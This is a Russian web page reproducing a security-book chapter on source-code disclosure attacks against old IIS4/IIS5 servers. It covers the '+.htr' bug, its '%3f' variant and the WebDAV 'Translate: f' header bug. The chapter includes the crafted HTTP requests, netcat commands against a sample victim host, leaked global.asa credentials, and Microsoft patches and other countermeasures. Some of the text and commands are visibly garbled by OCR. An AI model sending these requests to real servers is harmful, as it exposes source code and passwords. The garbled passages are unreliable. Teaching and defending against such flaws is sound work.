На главную | Содержание | Назад | Вперёд
Наши друзья

 

 

Атаки по раскрытию исходного кода

Атаки по раскрытию исходного кода могут быть даже опаснее, чем атаки на переполнение буфера или использования свойств файловой системы. Если хакер может просмотреть исходный код критически важных программ или других файлов для поддержки приложений Web-сервера, то ему, вероятно, осталось сделать всего несколько шагов до полного взлома одной из систем вашего окружения.
Уязвимые места, которые позволяют просмотреть исходный код, возникают по двум причинам:
т ошибки в сервере IIS;
* некачественное Web-программирование.
Мы уже отмечали, что сервер ITS имеет "богатую историю" ошибок, которые позволяли просматривать исходный код файлов сценариев или другие засекреченные данные (::$DATAS, showcode. asp). Некоторые из них описаны в данном разделе. Ситуация во многом усложняется благодаря Web-разработчикам, которые в исходных колах своих ASP-сценариев или в файлах global. asa жестко кодируют важную информацию. Классический пример — сохранение пароля учетной записи в строке соединения с базой данных SQL в ASP-
сценарии, который обеспечивает доступ к базе данных. Проблемы только усилились с ростом популярности Web-служб и новых свойств конфигурации сервера I1S 6.
Большинство Web-разработчиков полагают, что такая информация никогда не будет видна на клиентской стороне, поскольку сервер IIS по-разному работает с файлами в зависимости от их расширений. Например, файлы с расширением .htm просто возвращаются в браузер клиента, а сценарии . asp перенаправляются механизму обработки и выполняются на стороне сервера. Только данные из результатов выполнения этой обработки должны передаваться в браузер клиента. Таким образом, исходный код ASP никогда не попадет клиенту.
Однако проблемы возникают, когда запрос файла Active Server передается не обработчику, а одному из многих других механизмов, которые поставляются совместно с сервером IIS. Это могут быть также и библиотеки ISAPI. Среди наиболее важных расширений ISAPI — программы ISM, Webhits, WebDAV, а в будущих версиях IIS — и протокол доступа к данным Simple Object Access Protocol (SOAP). В некоторых библиотеках этих расширений ISAPI есть ошибки, которые приводят к получению клиентом необработанного сервером исходного кода сценария ASP. Для запуска одной из этих библиотек достаточно просто запросить файл с состветствую-щим расширением (например, . htr) или подготовить специальный запрос HTTP.
Кроме ошибок в расширениях ISAPI, существуют и другие возможности доступа к исходному коду. "Особый вклад" в усиление проблемы доступности исходного кода "внесли" Web-службы, поскольку они обычно предназначены для предоставления значительного объема информацииклиентам.
Чтобы проиллюстрировать общие проблемы доступности исходного кода мы рассмотрим примеры использования следую щих типов атак:
т атаки с помощью +. htr (ism. dll);
■ Translate: f (WebDAV, httpext.dl 1);
* атаки с помощью WSDL и DISCO.
Теперь, когда мы рассмотрели теоретические основы , можно перейти к подробному описанию программ атаки и мер противодействия этим атакам.
Популярность
9

Простота
9

Опасность
4

Степень риска
8



Уязвимое место + .htr является классическим примером получения исходного кода для версий сервера IIS4 и IIS5. Добавив к строке запроса файла символы + .htr, можно заставить сервер IIS4h5 передавать клиенту фрагменты исходных данных из файла, а не обрабатывать их. Это пример неверной работы расширения ISAPI, библиотеки ISM-DLL (помните, ранее мы рассматривали эту библиотеку при изучении атак на переполнение буфера?). Расширение .htr связано с библиотекой ISM. DLL, которая по ошибке передает исходный код файла.
Ниже показан пример файла htr.txt, который можно передать серверу с помощью программы netcat, чтобы воспользоваться описанной ошибкой — обратите внимание на символы +. htr, добавленные к запросу.
[CRLF] ICRLF]
Передача этого запроса с помощью netcat на уязвимый сервер дает следующий результат.
C:\>ac -w www. victizn.coa 80 < htr. txt <
www.victite.com [10.0.0.10) 80 (http) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 25 Jan 2001 00:50:17 GMT
<!— filename = global.asa - ->
I'Profiles_ConnectString") = "DSN=profilesrUID=Company_user; 'Ъ Pas sword- sec re t"
("DB^ConnectString") = "DSN=db;UID=Company_user;Password=secret"
("PHFConnectionString") = "DSN-ph£ rrjID=sar PWD=" ("SiteSearchConnectionString")
"DSN=SiteSearch,-UID=Company_user; Password-simple"
( "ConnectionString" ) = "DSN^Company; UID=Company_iJser ; PWD=guessme"
["eMail „pwd") = "sendaemon"
("LDAPServer") = "LDAP: /"/directory. Company .com: 3 89"
("LDAPUserlD") = "cn=Directory Admin"
("LDAPPwd-) - "slapdme"
Как видно из предыдущего примера, файл global.asa, который обычно не передается клиенту, будет отправлен, если к запросу с его именем добавить строку + . htr. Также видно, что команда разработчиков атакованного Web-сервера совершила классическую ошибку, жестко за­кодировав почти все секретные пароли организации в файле global. asa.
НА ЗАМЕТКУ
Для использования этого уязвимого места, в некоторых областях памяти сервера должны быть нули. Такая ситуация возможна после отправки хакером нескольких специально подготовленных запросов, но по этой причине атака с использованием + .htr иногда не эффективна.
Простого исправления этой ошибки оказалось недостаточно. Компания Microsoft выпустила две отдельные заплаты для правильной обработки запросов файлов с расширением .htr, а затем была вынуждена выпустить и третью заплату, когда оказалось, что на серверах с внесенными исправлениями работает еще один вариант этой атаки. Этот вариант также основан на ошибке + .htr, только перед символами + .htr добавляется значение %3f. Ниже приведен пример запроса файла, который можно перенаправить через утилиту netcat на уязвимый сервер.
GET /sitel/global.asa%3f-t-.htr HTTP/1.0
Доставка этого файла с помощью программы netcat на серверы, в которых была установлена заплата MS00-31 и/или MSOO-044, также дает возможность получить исходный код.
Q Меры противодействия использованию ошибки + .htr
Бюллетень,
MS01-004

BID
2313

Исправлено в SB
3

Фиксируется
Да

Мера противодействия номер один при использовании ошибки +. htr упоминается на протяжении всей главы: не используйте в тексте программ Active Server секретную информацию! Очевидно, что если в файле global. asa не будут записаны критичные данные (пароли и т.п.), то многих проблем можно будет избежать.
И еще одна рекомендация: пользуйтесь в ASP-коде тегами для сервера. Используя ошибку .htr, нельзя прочесть фрагменты файлов Active Server, ограниченных тегами <% %>, которые часто используются для выделения кода, который должен обрабатываться на стороне
сервера. В бюллетене безопасности, посвященном ошибке . htr, компания Microsoft приво-диттакой пример.
Пусть есть ASP-файл, который имеет следующее содержимое с тегами сервера в обозначенных позициях.
<b>Some HTML code</b>
<%<R/'Какой-то ASP/HTR кол*/
var objConn = new ActiveXObject<"Foo.bar');

<>другой html код</> другой код.
Выдаваемая информация в ответ на запрос ASP-файла типа +. htr будет иметь следующий вид.
<Ьжаиой-то HTML код</Ь> одругой html код</> другой кол -
Заметьте, что все данные между серверными тегами были удалены. Таким образом, желательно научить команду Web-разработчикев использовать эти теги в случаях, когда клиент не должен видеть информацию из сценария. Кроме обеспечения защиты от других ошибок типа .htr, разработчики будут помнить, что их программы могут попасть в плохие руки.
Конечно, не помешало бы предотвратить саму возможность утечки информации. Простой способ избежать многих потенциальных проблем, которые встречаются в библиотеках ISAPI, поставляемых с сервером IIS 5, — отключить связь приложений с типами файлов, которые не используются. В данном случае расширение файла + .htr связано с библиотекой ism-dll, которая обрабатывает изменение пароля через Web. Технология сценариев HTR появилась как часть версии сервера 11S 2, но никогда широко не использовалась, и во многом потому, что технология ASP (представленная в версии IIS4) обеспечивала гораздо более широкие возможности управления. Если на Web-узле HTR-функции не используются (а обычно они не используются), просто удалите связь файлов с расширением -htr с библиотекой ism.dll с помощью Admin Tool (файл iis .msc).
Компания Microsoft особо подчеркивает, что для предотвращения использования подобных уязвимых мест необходимо удалить связи сценариев для файлов с расширением . htr, как было описано выше в этой главе (см. 4). Однако если приложение использует изменение па­роля на основе сценария . htr, то нельзя устранить связи с . htr-файлами . В таком случае получите и используйте исправление из бюллетеня безопасности Microsoft MS01-004 (заметим, что
Последняя заплата войдет в Windows 2000 Service Pack 3, поэтому если на вашей системе не установлен пакет SP3 (который во время подготовки книги к печати не был доступен), обязательно получите последнее "горячее исправление'". В будущем напишите ASP-файл, который, заменит функции технологии HTR, а затем удалите связь сценария с расширениями - htr. Как уже стало понятно, в расширении ISAPI ism.dll могут обнаружиться и другие ошибки. Данная заплата входит в последний пакет "горячих исправлений" MS01 -026.
При использовании управления паролями на основе Web желательно усилить ограничения доступа к каталогу /scripts/iisadmin, чтобы доступ к нему имели только члены группы Administrators.
1
"Translate: f"
Популярность
9

Простота
9

Опасность
4

Степень риска
8


Уязвимое место Translate: f, которое описал Дэниел Досекал (Daniel Docekal), проявляется при переключении на еще одну библиотеку ISAPI сервера I1S5, httpext .dll, которая реализует механизм Web Distributed Authoring and Versioning (WebDAV, RFC 2518). Служба WebDAV — это стандарт Microsoft, который определяет процесс редактирования и управления содержимого Web-сервера удаленными авторами по протоколу HTTP. Эта идея весьма опасна сама по себе, а ошибка Translate: f, — вероятно, только предвестник других неприятностей, которые придут с такой мощной, но потенциально уязвимой технологией.
Программа атаки на основе Translate: f дает тот же результат, что и программа атаки с использованием ошибки + .htr, но работает несколько иным образом — функции библиотеки ISAPI подключаются не по расширению запрошенного файла, а благодаря специально сформированному заголовку HTTP-запроса. Заголовок Translate: f сообщает, что запрос должна обрабатывать библиотека WebDAV, а обратная косая черта в конце имени файла вызывает ошибку обработки, поэтому запрос переходит напрямую в операционную систему (Windows). Операционная система возвращает в систему хакера содержимое файла вместо выполнения его обработки на сервере. Пример такого запроса показан ниже. Обратите внимание на обратную косую черту после строки GET global.asa и строку Translate: f в HTTP-заголовке запроса.
GET /global.asa\ HTTP/1.0 Translate: f
[CRLF]
[CRLF]
Перенаправив текстовый файл с данным текстом (назовем его transf. txt) через соединение netcat на уязвимый сервер, как показано далее, можно получить на стандартном выводе содержимое файла global. asa..
C:\>nc -w www.victim.com ВО < transf.txt
www.victim.cora [192.1БЗ .2 . 41] 80 (http) open HTTP/1.1 200 OK Server: Microsoft-IIS/5.0 Date: Wed, 23 Aug 2000 06:06:58 GMT Content-Type: application/octet-stream Content-Length: 2790 ETag: "0448299£cd6bfl:bea"
Last-Modified: Thy, 15 Jun 2000 19:04:30 GMT Accept-Ranges: bytes Cache-Control: no-cache
<!-Copyright 1999-2000 bigCompany.com —>
<object RUNAT-Server SCOPE=Session ID=fixit PRCCID="Bigco . obj ect" ></object>
["ConnectionText") = "DSN=Phone;UID=superman;password=test;"
I "ConnectionText") - "DSN=Backend;UID=supermanj PWD=test;"
("LDAPServer") - "LDAP://ldap.bigco.com:389"
("LDAPUserID"] = "cn=Admin"
("LDAPPwd") = "password"
Как видно из примера, взломщик, который получил файл, теперь знает пароли нескольких серверов, в том числе и пароль системы LDAP.
В Internet доступны готовые к работе сценарии Perl, которые упрощают работу с рассмотренной программой атаки с помощью программы netcat (мы использовали сценарии trans .pi РоелофаТемминга (RoelofTemmingh) и srcgrab.pl хакера Smiler).

 

На главную | Содержание | Назад | Вперёд
 
Яндекс.Метрика